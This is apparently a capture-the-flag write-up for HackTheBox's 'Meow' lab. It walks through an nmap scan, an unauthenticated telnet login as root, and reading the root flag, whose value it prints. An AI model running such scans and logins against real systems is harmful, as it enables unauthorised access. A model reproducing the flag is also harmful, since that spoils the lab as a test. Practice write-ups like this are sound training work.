HackTheBox – Meow Writ

By ashfin prem

Introduction

Machine Name: Meow
Platform: <u>HackTheBox</u>
Difficulty: Very Easy

Operating System: KaliLinux

• Objective: Connect to the machine and retrieve the root flag.

Setup

Access: pwnbox

• Target IP: 10.129.34.70

Reconnaissance

I started by scanning open ports with Nmap:

nmap -sV 10.129.34.70

Results:

• Port 23 (Telnet) → Open

No other major services were found.

Enumeration

Since Telnet (an unencrypted remote shell protocol) is open, I attempted to connect:

telnet 10.129.34.70

The service didn't ask for credentials and directly logged me in as root.

Exploitation

Once inside, I checked the system:

whoami

Output:

root

This confirms full system access.

Flag Retrieval

I navigated to the root directory and looked for the flag:

cd /root

ls

cat flag.txt

Flag:

<HTB{b40abdfe23665f766f9c61ecba8a4c19}>

Conclusion

This machine demonstrated:

- How to connect to HackTheBox via VPN.
- How to use Telnet to gain access.
- Importance of disabling insecure services like Telnet (replaced by SSH in modern systems).







